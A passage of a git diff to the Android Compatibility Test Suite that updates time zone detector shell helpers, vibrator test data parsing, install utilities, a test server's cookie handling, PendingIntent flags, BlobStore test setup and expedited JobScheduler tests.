+        String command = String.format(cmd, args);
+        return executeShellCommandReturnBytes("cmd %s %s",
+                LocationManager.SHELL_COMMAND_SERVICE_NAME, command);
+    }
+
+    private byte[] executeLocationTimeZoneManagerCommand(String cmd, Object... args)
+            throws Exception {
+        String command = String.format(cmd, args);
+        return executeShellCommandReturnBytes("cmd %s %s",
+                LocationTimeZoneManager.SHELL_COMMAND_SERVICE_NAME, command);
+    }
+
+    private byte[] executeTimeZoneDetectorCommand(String cmd, Object... args) throws Exception {
+        String command = String.format(cmd, args);
+        return executeShellCommandReturnBytes("cmd %s %s",
+                TimeZoneDetector.SHELL_COMMAND_SERVICE_NAME, command);
+    }
+
+    private byte[] executeShellCommandReturnBytes(String cmd, Object... args) throws Exception {
+        CollectingByteOutputReceiver bytesReceiver = new CollectingByteOutputReceiver();
+        getDevice().executeShellCommand(String.format(cmd, args), bytesReceiver);
+        return bytesReceiver.getOutput();
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
new file mode 100644
index 0000000..7265d85
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the TimeZoneDetector service.
+ *
+ * <p>See {@link android.app.timezonedetector.TimeZoneDetector} for the device-side class that holds
+ * this information.
+ */
+interface TimeZoneDetector {
+
+    /**
+     * The name of the service for shell commands.
+     * @hide
+     */
+    String SHELL_COMMAND_SERVICE_NAME = "time_zone_detector";
+
+    /**
+     * A shell command that prints the current "auto time zone detection" global setting value.
+     * @hide
+     */
+    String SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED = "is_auto_detection_enabled";
+
+    /**
+     * A shell command that sets the current "auto time zone detection" global setting value.
+     * @hide
+     */
+    String SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED = "set_auto_detection_enabled";
+
+    /**
+     * A shell command that prints whether the geolocation-based time zone detection feature is
+     * supported on the device.
+     * @hide
+     */
+    String SHELL_COMMAND_IS_GEO_DETECTION_SUPPORTED = "is_geo_detection_supported";
+
+    /**
+     * A shell command that prints the current user's "location-based time zone detection enabled"
+     * setting.
+     * @hide
+     */
+    String SHELL_COMMAND_IS_GEO_DETECTION_ENABLED = "is_geo_detection_enabled";
+
+    /**
+     * A shell command that sets the current user's "location-based time zone detection enabled"
+     * setting.
+     * @hide
+     */
+    String SHELL_COMMAND_SET_GEO_DETECTION_ENABLED = "set_geo_detection_enabled";
+
+    /**
+     * A shell command that injects a geolocation time zone suggestion (as if from the
+     * location_time_zone_manager).
+     * @hide
+     */
+    String SHELL_COMMAND_SUGGEST_GEO_LOCATION_TIME_ZONE = "suggest_geo_location_time_zone";
+
+    /**
+     * A shell command that injects a manual time zone suggestion (as if from the SettingsUI or
+     * similar).
+     * @hide
+     */
+    String SHELL_COMMAND_SUGGEST_MANUAL_TIME_ZONE = "suggest_manual_time_zone";
+
+    /**
+     * A shell command that injects a telephony time zone suggestion (as if from the phone app).
+     * @hide
+     */
+    String SHELL_COMMAND_SUGGEST_TELEPHONY_TIME_ZONE = "suggest_telephony_time_zone";
+}
diff --git a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
index 0b4882a..da566c5 100644
--- a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
+++ b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
@@ -111,8 +111,8 @@
         }
         // Clear activity
         device.executeShellCommand(CLEAR_COMMAND);
-        // No mobile data or wifi or bluetooth to start with
-        device.executeShellCommand("svc data disable; svc wifi disable; svc bluetooth disable");
+        // No mobile data or wifi to start with
+        device.executeShellCommand("svc data disable; svc wifi disable");
         // Clear logcat.
         device.executeAdbCommand("logcat", "-c");
         // Ensure the screen is on, so that rssi polling happens
diff --git a/libs/input/src/com/android/cts/input/InputJsonParser.java b/libs/input/src/com/android/cts/input/InputJsonParser.java
index 8d82203..053bf08 100644
--- a/libs/input/src/com/android/cts/input/InputJsonParser.java
+++ b/libs/input/src/com/android/cts/input/InputJsonParser.java
@@ -16,10 +16,11 @@
 
 package com.android.cts.input;
 
-import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertEquals;
 
 import android.content.Context;
 import android.util.ArrayMap;
+import android.util.SparseArray;
 import android.view.InputDevice;
 import android.view.InputEvent;
 import android.view.KeyEvent;
@@ -186,6 +187,30 @@
         }
     }
 
+    private List<Long> getLongList(JSONArray array) {
+        List<Long> data = new ArrayList<Long>();
+        for (int i = 0; i < array.length(); i++) {
+            try {
+                data.add(array.getLong(i));
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not read array index " + i);
+            }
+        }
+        return data;
+    }
+
+    private List<Integer> getIntList(JSONArray array) {
+        List<Integer> data = new ArrayList<Integer>();
+        for (int i = 0; i < array.length(); i++) {
+            try {
+                data.add(array.getInt(i));
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not read array index " + i);
+            }
+        }
+        return data;
+    }
+
     private InputEvent parseInputEvent(int testCaseNumber, int source, JSONObject entry) {
         try {
             InputEvent event;
@@ -252,7 +277,7 @@
 
                 JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
                 JSONArray amplitudesArray = testcaseEntry.getJSONArray("amplitudes");
-                assertTrue(durationsArray.length() == amplitudesArray.length());
+                assertEquals(durationsArray.length(), amplitudesArray.length());
                 testData.durations = new ArrayList<Long>();
                 testData.amplitudes = new ArrayList<Integer>();
                 for (int i = 0; i < durationsArray.length(); i++) {
@@ -287,15 +312,42 @@
             UinputVibratorTestData testData = new UinputVibratorTestData();
             try {
                 JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
-
                 JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
                 JSONArray amplitudesArray = testcaseEntry.getJSONArray("amplitudes");
-                assertTrue(durationsArray.length() == amplitudesArray.length());
-                testData.durations = new ArrayList<Long>();
-                testData.amplitudes = new ArrayList<Integer>();
-                for (int i = 0; i < durationsArray.length(); i++) {
-                    testData.durations.add(durationsArray.getLong(i));
-                    testData.amplitudes.add(amplitudesArray.getInt(i));
+                assertEquals("Duration array length not equal to amplitude array length",
+                        durationsArray.length(), amplitudesArray.length());
+                testData.durations = getLongList(durationsArray);
+                testData.amplitudes = getIntList(amplitudesArray);
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of UinputVibratorManagerTestData, which
+     * contains the vibrator Ids and FF effect of durations and amplitudes.
+     */
+    public List<UinputVibratorManagerTestData> getUinputVibratorManagerTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<UinputVibratorManagerTestData> tests = new ArrayList<UinputVibratorManagerTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            UinputVibratorManagerTestData testData = new UinputVibratorManagerTestData();
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
+                testData.durations = getLongList(durationsArray);
+                testData.amplitudes = new SparseArray<>();
+                JSONObject amplitudesObj = testcaseEntry.getJSONObject("amplitudes");
+                for (int i = 0; i < amplitudesObj.names().length(); i++) {
+                    String vibratorId = amplitudesObj.names().getString(i);
+                    JSONArray amplitudesArray = amplitudesObj.getJSONArray(vibratorId);
+                    testData.amplitudes.append(Integer.valueOf(vibratorId),
+                            getIntList(amplitudesArray));
+                    assertEquals("Duration array length not equal to amplitude array length",
+                            durationsArray.length(), amplitudesArray.length());
                 }
                 tests.add(testData);
             } catch (JSONException e) {
diff --git a/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java b/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java
new file mode 100644
index 0000000..ebafb7e
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.util.SparseArray;
+
+import java.util.List;
+
+/**
+ * Data class that stores HID vibrator test data.
+ */
+public class UinputVibratorManagerTestData {
+    // Array of vibrator durations
+    public List<Long> durations;
+
+    // SparseArray of vibrator id and amplitudes list. The array index is vibrator id,
+    // the value is the list of amplitudes.
+    public SparseArray<List<Integer>> amplitudes;
+}
diff --git a/libs/install/src/com/android/cts/install/lib/InstallUtils.java b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
index f3dbd8e..faa040f 100644
--- a/libs/install/src/com/android/cts/install/lib/InstallUtils.java
+++ b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
@@ -83,7 +83,7 @@
      * Returns -1 if the package is not currently installed.
      */
     public static long getInstalledVersion(String packageName) {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager pm = context.getPackageManager();
         try {
             PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
@@ -117,7 +117,7 @@
         IntentFilter sessionUpdatedFilter =
                 new IntentFilter(PackageInstaller.ACTION_SESSION_UPDATED);
 
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         context.registerReceiver(sessionUpdatedReceiver, sessionUpdatedFilter);
 
         PackageInstaller installer = getPackageInstaller();
@@ -154,7 +154,7 @@
      * Returns the info for the given package name.
      */
     public static PackageInfo getPackageInfo(String packageName) {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager pm = context.getPackageManager();
         try {
             return pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
@@ -167,7 +167,7 @@
      * Returns the PackageInstaller instance of the current {@code Context}
      */
     public static PackageInstaller getPackageInstaller() {
-        return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
+        return InstrumentationRegistry.getTargetContext().getPackageManager().getPackageInstaller();
     }
 
     /**
@@ -241,7 +241,7 @@
         intent.setComponent(new ComponentName(packageName,
                 "com.android.cts.install.lib.testapp.ProcessUserData"));
         intent.setAction("PROCESS_USER_DATA");
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
 
         HandlerThread handlerThread = new HandlerThread("RollbackTestHandlerThread");
         handlerThread.start();
@@ -290,7 +290,7 @@
         intent.setComponent(new ComponentName(packageName,
                 "com.android.cts.install.lib.testapp.ProcessUserData"));
         intent.setAction("GET_USER_DATA_VERSION");
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
 
         HandlerThread handlerThread = new HandlerThread("RollbackTestHandlerThread");
         handlerThread.start();
@@ -346,7 +346,7 @@
      */
     public static boolean isOnlyInstalledForUser(String packageName, int userIdToCheck,
             List<Integer> userIds) {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager pm = context.getPackageManager();
         for (int userId: userIds) {
             List<PackageInfo> installedPackages;
diff --git a/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
index f39f637a..cdf709c 100644
--- a/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
+++ b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
@@ -51,7 +51,7 @@
      * Get a LocalIntentSender.
      */
     public IntentSender getIntentSender() {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         // Generate a unique string to ensure each LocalIntentSender gets its own results.
         String action = LocalIntentSender.class.getName() + SystemClock.elapsedRealtime();
         context.registerReceiver(this, new IntentFilter(action));
diff --git a/libs/install/src/com/android/cts/install/lib/Uninstall.java b/libs/install/src/com/android/cts/install/lib/Uninstall.java
index 899bd11..e746f89 100644
--- a/libs/install/src/com/android/cts/install/lib/Uninstall.java
+++ b/libs/install/src/com/android/cts/install/lib/Uninstall.java
@@ -43,7 +43,7 @@
             return;
         }
 
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager packageManager = context.getPackageManager();
         PackageInstaller packageInstaller = packageManager.getPackageInstaller();
         LocalIntentSender sender = new LocalIntentSender();
diff --git a/libs/testserver/src/android/webkit/cts/CtsTestServer.java b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
index 3e781c3..2e0e5bb 100644
--- a/libs/testserver/src/android/webkit/cts/CtsTestServer.java
+++ b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
@@ -373,11 +373,23 @@
     /**
      * getSetCookieUrl returns a URL that attempts to set the cookie
      * "key=value" when fetched.
-     * @param path a suffix to disambiguate mulitple Cookie URLs.
+     * @param path a suffix to disambiguate multiple Cookie URLs.
      * @param key the key of the cookie.
      * @return the url for a page that attempts to set the cookie.
      */
     public String getSetCookieUrl(String path, String key, String value) {
+        return getSetCookieUrl(path, key, value, null);
+    }
+
+    /**
+     * getSetCookieUrl returns a URL that attempts to set the cookie
+     * "key=value" with the given list of attributes when fetched.
+     * @param path a suffix to disambiguate multiple Cookie URLs.
+     * @param key the key of the cookie
+     * @param attributes the attributes to set
+     * @return the url for a page that attempts to set the cookie.
+     */
+    public String getSetCookieUrl(String path, String key, String value, String attributes) {
         StringBuilder sb = new StringBuilder(getBaseUri());
         sb.append(SET_COOKIE_PREFIX);
         sb.append(path);
@@ -385,6 +397,10 @@
         sb.append(key);
         sb.append("&value=");
         sb.append(value);
+        if (attributes != null) {
+            sb.append("&attributes=");
+            sb.append(attributes);
+        }
         return sb.toString();
     }
 
@@ -697,7 +713,11 @@
             Uri parsedUri = Uri.parse(uriString);
             String key = parsedUri.getQueryParameter("key");
             String value = parsedUri.getQueryParameter("value");
+            String attributes = parsedUri.getQueryParameter("attributes");
             String cookie = key + "=" + value;
+            if (attributes != null) {
+                cookie = cookie + "; " + attributes;
+            }
             response.addHeader("Set-Cookie", cookie);
             response.setEntity(createPage(cookie, cookie));
         } else if (path.startsWith(LINKED_SCRIPT_PREFIX)) {
diff --git a/suite/audio_quality/test/Android.bp b/suite/audio_quality/test/Android.bp
index d43b0aa..6b3c97b 100644
--- a/suite/audio_quality/test/Android.bp
+++ b/suite/audio_quality/test/Android.bp
@@ -17,7 +17,9 @@
 cc_test_host {
     name: "cts_audio_quality_test",
     srcs: ["*.cpp"],
-
+    test_options: {
+        unit_test: false,
+    },
     static_libs: [
         "libbase",
         "libutils",
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 5f193df..a4456e1 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -49,6 +49,7 @@
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -241,6 +242,7 @@
     }
 
     @Test
+    @Ignore("Broken until b/171306433 is completed")
     public void testAllowWhileIdleAlarms() throws Exception {
         setAppStandbyBucket("active");
         final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
index 8b578a3..86df15e 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
@@ -98,7 +98,7 @@
         final Intent alarmIntent = new Intent(ACTION_ALARM)
                 .setPackage(mContext.getPackageName())
                 .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
-        mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, 0);
+        mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final IntentFilter alarmFilter = new IntentFilter(ACTION_ALARM);
         mContext.registerReceiver(mAlarmReceiver, alarmFilter);
         mDeviceConfigStateHelper =
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
index e3f8a07..f96de32 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
@@ -84,7 +84,7 @@
         for (int i = 1; i <= SUFFICIENT_NUM_ALARMS; i++) {
             try {
                 final PendingIntent pi = PendingIntent.getBroadcast(mContext, 0,
-                        new Intent(ACTION_PREFIX + i), 0);
+                        new Intent(ACTION_PREFIX + i), PendingIntent.FLAG_IMMUTABLE);
                 mAlarmManager.set(ALARM_TYPES[i % ALARM_TYPES.length], Long.MAX_VALUE, pi);
                 mAlarmsSet.add(pi);
             } catch (Exception e) {
@@ -100,13 +100,13 @@
         setMaxAlarmsPerUid(limit);
         for (int i = 0; i < limit; i++) {
             final PendingIntent pi = PendingIntent.getBroadcast(mContext, 0,
-                    new Intent(ACTION_PREFIX + i), 0);
+                    new Intent(ACTION_PREFIX + i), PendingIntent.FLAG_IMMUTABLE);
             mAlarmManager.set(ALARM_TYPES[i % ALARM_TYPES.length], Long.MAX_VALUE, pi);
             mAlarmsSet.add(pi);
         }
 
         final PendingIntent lastPi = PendingIntent.getBroadcast(mContext, 0,
-                new Intent(ACTION_PREFIX + limit), 0);
+                new Intent(ACTION_PREFIX + limit), PendingIntent.FLAG_IMMUTABLE);
         for (int type : ALARM_TYPES) {
             try {
                 mAlarmManager.set(type, Long.MAX_VALUE, lastPi);
diff --git a/tests/BlobStore/AndroidTest.xml b/tests/BlobStore/AndroidTest.xml
index d5c3548..81f1765 100644
--- a/tests/BlobStore/AndroidTest.xml
+++ b/tests/BlobStore/AndroidTest.xml
@@ -32,10 +32,14 @@
         <option name="teardown-command" value="cmd blob_store idle-maintenance" />
     </target_preparer>
 
+    <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-      <!-- Disable hidden API checking, see b/166236554 -->
-        <option name="run-command" value="settings put global hidden_api_policy 1" />
-        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper2" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper3" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper2" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper3" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/BlobStore/helper-app/AndroidManifest.xml b/tests/BlobStore/helper-app/AndroidManifest.xml
index cc6a7cf..a2cf878 100644
--- a/tests/BlobStore/helper-app/AndroidManifest.xml
+++ b/tests/BlobStore/helper-app/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.cts.blob.helper" >
 
-    <application>
+    <application android:debuggable="true">
         <service android:name=".BlobStoreTestService"
                  android:exported="true"/>
     </application>
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index 95a6e94..685d188 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -83,7 +83,7 @@
 @RunWith(BlobStoreTestRunner.class)
 public class BlobStoreManagerTest {
 
-    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 10;
+    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 30;
 
     private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
 
@@ -1604,45 +1604,45 @@
         // and tag are equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             assertThat(blobHandle1).isEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if digests are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest1".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest2".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if expiry times are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1112L, "tag");
+                    "Fake blob", 1112L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if labels are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob1", 1111L, "tag");
+                    "Fake blob1", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob2", 1111L, "tag");
+                    "Fake blob2", 1111L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if tags are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag1");
+                    "Fake blob", 1111L, "tag1");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag2");
+                    "Fake blob", 1111L, "tag2");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
     }
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
index 6a521f1..31945f6 100644
--- a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
@@ -36,6 +36,7 @@
     public static final String EXTRA_ALLOW_IN_IDLE = PACKAGE_NAME + ".extra.ALLOW_IN_IDLE";
     public static final String EXTRA_REQUIRE_NETWORK_ANY = PACKAGE_NAME
             + ".extra.REQUIRE_NETWORK_ANY";
+    public static final String EXTRA_AS_EXPEDITED = PACKAGE_NAME + ".extra.AS_EXPEDITED";
     public static final String ACTION_SCHEDULE_JOB = PACKAGE_NAME + ".action.SCHEDULE_JOB";
     public static final String ACTION_CANCEL_JOBS = PACKAGE_NAME + ".action.CANCEL_JOBS";
     public static final int JOB_INITIAL_BACKOFF = 10_000;
@@ -53,10 +54,15 @@
                 final int jobId = intent.getIntExtra(EXTRA_JOB_ID_KEY, hashCode());
                 final boolean allowInIdle = intent.getBooleanExtra(EXTRA_ALLOW_IN_IDLE, false);
                 final boolean network = intent.getBooleanExtra(EXTRA_REQUIRE_NETWORK_ANY, false);
+                final boolean expedited = intent.getBooleanExtra(EXTRA_AS_EXPEDITED, false);
                 JobInfo.Builder jobBuilder = new JobInfo.Builder(jobId, jobServiceComponent)
                         .setBackoffCriteria(JOB_INITIAL_BACKOFF, JobInfo.BACKOFF_POLICY_LINEAR)
-                        .setOverrideDeadline(0)
                         .setImportantWhileForeground(allowInIdle);
+                if (expedited) {
+                    jobBuilder.setExpedited(expedited);
+                } else {
+                    jobBuilder.setOverrideDeadline(0);
+                }
                 if (network) {
                     jobBuilder = jobBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY);
                 }
diff --git a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
index 964853c..8c188fc 100644
--- a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
+++ b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
@@ -467,7 +467,9 @@
             mExecutedPermCheckWrite = permCheckWrite;
             mExecutedReceivedWork = receivedWork;
             mExecutedErrorMessage = errorMsg;
-            mLatch.countDown();
+            if (mLatch != null) {
+                mLatch.countDown();
+            }
         }
 
         private void notifyWaitingForStop() {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index 2f9ef64..7683fdf 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -34,8 +34,11 @@
 import android.os.Looper;
 import android.os.Message;
 import android.platform.test.annotations.RequiresDevice;
+import android.provider.Settings;
 import android.util.Log;
 
+import com.android.compatibility.common.util.AppStandbyUtils;
+import com.android.compatibility.common.util.BatteryUtils;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -78,6 +81,8 @@
     private boolean mInitialRestrictBackground;
     /** Track whether airplane mode was enabled in case we toggle it. */
     private boolean mInitialAirplaneMode;
+    /** Track whether the restricted bucket was enabled in case we toggle it. */
+    private String mInitialRestrictedBucketEnabled;
 
     private JobInfo.Builder mBuilder;
 
@@ -102,6 +107,8 @@
         mInitialRestrictBackground = SystemUtil
                 .runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_GET_CMD)
                 .contains("enabled");
+        mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET);
         setDataSaverEnabled(false);
         mInitialAirplaneMode = isAirplaneModeOn();
         setAirplaneMode(false);
@@ -114,12 +121,18 @@
         }
         mJobScheduler.cancel(CONNECTIVITY_JOB_ID);
 
+        BatteryUtils.runDumpsysBatteryReset();
+
         // Restore initial restrict background data usage policy
         setDataSaverEnabled(mInitialRestrictBackground);
 
         // Restore initial airplane mode status
         setAirplaneMode(mInitialAirplaneMode);
 
+        // Restore initial restricted bucket setting.
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
+
         // Ensure that we leave WiFi in its previous state.
         if (mHasWifi && mWifiManager.isWifiEnabled() != mInitialWiFiState) {
             try {
@@ -288,7 +301,7 @@
         mTestAppInterface = new TestAppInterface(mContext, CONNECTIVITY_JOB_ID);
         mTestAppInterface.startAndKeepTestActivity();
 
-        mTestAppInterface.scheduleJob(false, true);
+        mTestAppInterface.scheduleJob(false, true, false);
 
         runSatisfiedJob(CONNECTIVITY_JOB_ID);
         assertTrue("Job with metered connectivity constraint did not fire on mobile.",
@@ -301,6 +314,127 @@
                 mTestAppInterface.awaitJobStop(30_000));
     }
 
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when if an app is idle.
+     */
+    public void testExpeditedJobExecutes_IdleApp() throws Exception {
+        if (!AppStandbyUtils.isAppStandbyEnabled()) {
+            Log.d(TAG, "App standby not enabled");
+            return;
+        }
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+        SystemUtil.runShellCommand("am set-standby-bucket "
+                + kJobServiceComponent.getPackageName() + " restricted");
+        disconnectWifiToConnectToMobile();
+        BatteryUtils.runDumpsysBatteryUnplug();
+
